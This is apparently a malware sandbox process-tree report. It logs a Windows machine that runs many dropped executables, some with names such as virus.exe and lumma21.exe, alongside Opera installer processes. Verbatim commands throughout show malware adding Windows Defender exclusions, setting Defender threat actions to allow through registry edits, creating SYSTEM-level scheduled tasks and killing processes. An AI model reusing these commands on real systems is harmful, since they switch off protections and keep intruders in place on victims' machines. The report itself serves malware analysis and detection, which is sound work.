C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-quic --no-appcompat-clear --start-stack-profiler --field-trial-handle=2084,i,12302854310762936529,9671560142172724000,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:38⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --enable-quic --no-appcompat-clear --field-trial-handle=2292,i,12302854310762936529,9671560142172724000,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:88⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe"C:\Users\Admin\AppData\Local\Programs\Opera\opera.exe" --show-intro-overlay --start-maximized7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exeC:\Users\Admin\AppData\Local\Programs\Opera\109.0.5097.38\opera_crashreporter.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x288,0x28c,0x290,0x284,0x294,0x7fffa6427590,0x7fffa64275a0,0x7fffa64275b08⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe" --version5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404091034201\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xb50040,0xb5004c,0xb500586⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
-
C:\Users\Admin\Pictures\sfd8pyiGstKRtRVdQIdWLZQV.exe"C:\Users\Admin\Pictures\sfd8pyiGstKRtRVdQIdWLZQV.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSEAEC.tmp\Install.exe.\Install.exe /dQndidvBp "385118" /S5⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"6⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bgNHpsssZstYPMxCCI" /SC once /ST 10:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\jUpzEHU.exe\" mP /FCsite_idXbo 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\Pictures\khJ8yxpxNreIf5tKqTEptNyw.exe"C:\Users\Admin\Pictures\khJ8yxpxNreIf5tKqTEptNyw.exe"4⤵
- Modifies firewall policy service
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\laryyyyy.exe"C:\Users\Admin\AppData\Local\Temp\Files\laryyyyy.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Demm\launch.bat"3⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\Demm\client.exe"C:\Users\Admin\AppData\Roaming\Demm\client.exe"4⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Ljauypuypg.exe"C:\Users\Admin\AppData\Local\Temp\Files\Ljauypuypg.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\virus.exe"C:\Users\Admin\AppData\Local\Temp\Files\virus.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\afile.exe"C:\Users\Admin\AppData\Local\Temp\Files\afile.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\configurationValue\newss.exe"C:\Users\Admin\AppData\Roaming\configurationValue\newss.exe"4⤵
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\traffic.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exe"C:\Users\Admin\AppData\Local\Temp\Files\net.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pgp-Soft.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pgp-Soft.exe"2⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\ckz_54JU\nds.exe"C:\Users\Admin\AppData\Local\Temp\ckz_54JU\nds.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\ckz_54JU\nds.exe"C:\Users\Admin\AppData\Local\Temp\ckz_54JU\nds.exe"4⤵
- Modifies WinLogon for persistence
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM nvidia.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM nvidia.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM mmi.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM mmi.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM arm.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM arm.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM mnn.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM mnn.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM mme.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM mme.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM nnu.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM nnu.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM lss.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM lss.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM onn.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM onn.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill.exe /F /IM u-eng.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill.exe /F /IM u-eng.exe6⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\temp\java.exe" x -o+ -p8ay73yG6s6gHu8H "C:\Users\Admin\AppData\Local\temp\data6." "C:\ProgramData""5⤵
-
C:\Users\Admin\AppData\Local\temp\java.exe"C:\Users\Admin\AppData\Local\temp\java.exe" x -o+ -p8ay73yG6s6gHu8H "C:\Users\Admin\AppData\Local\temp\data6." "C:\ProgramData"6⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\temp\java.exe x -o+ -p8ay73yG6s6gHu8H C:\Users\Admin\AppData\Local\temp\data5. C:\Users\Admin\AppData\Roaming\\"5⤵
-
C:\Users\Admin\AppData\Local\temp\java.exeC:\Users\Admin\AppData\Local\temp\java.exe x -o+ -p8ay73yG6s6gHu8H C:\Users\Admin\AppData\Local\temp\data5. C:\Users\Admin\AppData\Roaming\\6⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\temp\java.exe x -o+ -p8ay73yG6s6gHu8H C:\Users\Admin\AppData\Local\temp\data4. C:\Users\Admin\AppData\Roaming\\"5⤵
-
C:\Users\Admin\AppData\Local\temp\java.exeC:\Users\Admin\AppData\Local\temp\java.exe x -o+ -p8ay73yG6s6gHu8H C:\Users\Admin\AppData\Local\temp\data4. C:\Users\Admin\AppData\Roaming\\6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pparetcoju.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pparetcoju.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\64157573.exeC:\Users\Admin\AppData\Local\Temp\64157573.exe3⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\1070919755.exeC:\Users\Admin\AppData\Local\Temp\1070919755.exe4⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\663832095.exeC:\Users\Admin\AppData\Local\Temp\663832095.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1065725452.exeC:\Users\Admin\AppData\Local\Temp\1065725452.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1580726156.exeC:\Users\Admin\AppData\Local\Temp\1580726156.exe5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1156618644.exeC:\Users\Admin\AppData\Local\Temp\1156618644.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\3106013625.exeC:\Users\Admin\AppData\Local\Temp\3106013625.exe4⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\2305617441.exeC:\Users\Admin\AppData\Local\Temp\2305617441.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\1925512786.exeC:\Users\Admin\AppData\Local\Temp\1925512786.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"2⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"2⤵
- Checks computer location settings
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe'3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsHealthSystem.exe'3⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsHealthSystem" /tr "C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"C:\Users\Admin\AppData\Local\Temp\Files\wininit.exe"2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AppGate2103v01.exe"C:\Users\Admin\AppData\Local\Temp\Files\AppGate2103v01.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\swizzyyyy.exe"C:\Users\Admin\AppData\Local\Temp\Files\swizzyyyy.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\DemagogicAlewife.exe"C:\Users\Admin\AppData\Local\Temp\Files\DemagogicAlewife.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sarra.exe"C:\Users\Admin\AppData\Local\Temp\Files\sarra.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\goldqwer12.exe"C:\Users\Admin\AppData\Local\Temp\Files\goldqwer12.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe"C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 7243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\output_64.exe"C:\Users\Admin\AppData\Local\Temp\Files\output_64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7036 -s 6723⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Max.exe"C:\Users\Admin\AppData\Local\Temp\Files\Max.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Files\move.bat" "3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Users.exeusers.exe4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "5⤵
-
C:\Windows\SysWOW64\chcp.comCHCP 12516⤵
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 16⤵
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 34⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pac-Man.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pac-Man.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mQxBvlTA.exe"C:\Users\Admin\AppData\Local\Temp\Files\mQxBvlTA.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\native.exe"C:\Users\Admin\AppData\Local\Temp\Files\native.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\USA123.exe"C:\Users\Admin\AppData\Local\Temp\Files\USA123.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\lumma21.exe"C:\Users\Admin\AppData\Local\Temp\Files\lumma21.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\123p.exe"C:\Users\Admin\AppData\Local\Temp\Files\123p.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\koooooo.exe"C:\Users\Admin\AppData\Local\Temp\Files\koooooo.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5352 -s 8683⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\gate3_64.exe"C:\Users\Admin\AppData\Local\Temp\Files\gate3_64.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4604 -ip 46041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4960 -ip 49601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1196 -ip 11961⤵
-
C:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\jUpzEHU.exeC:\Users\Admin\AppData\Local\Temp\GsQRrtwSziAnYplPc\CShgmbCUeIuNzVH\jUpzEHU.exe mP /FCsite_idXbo 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
-
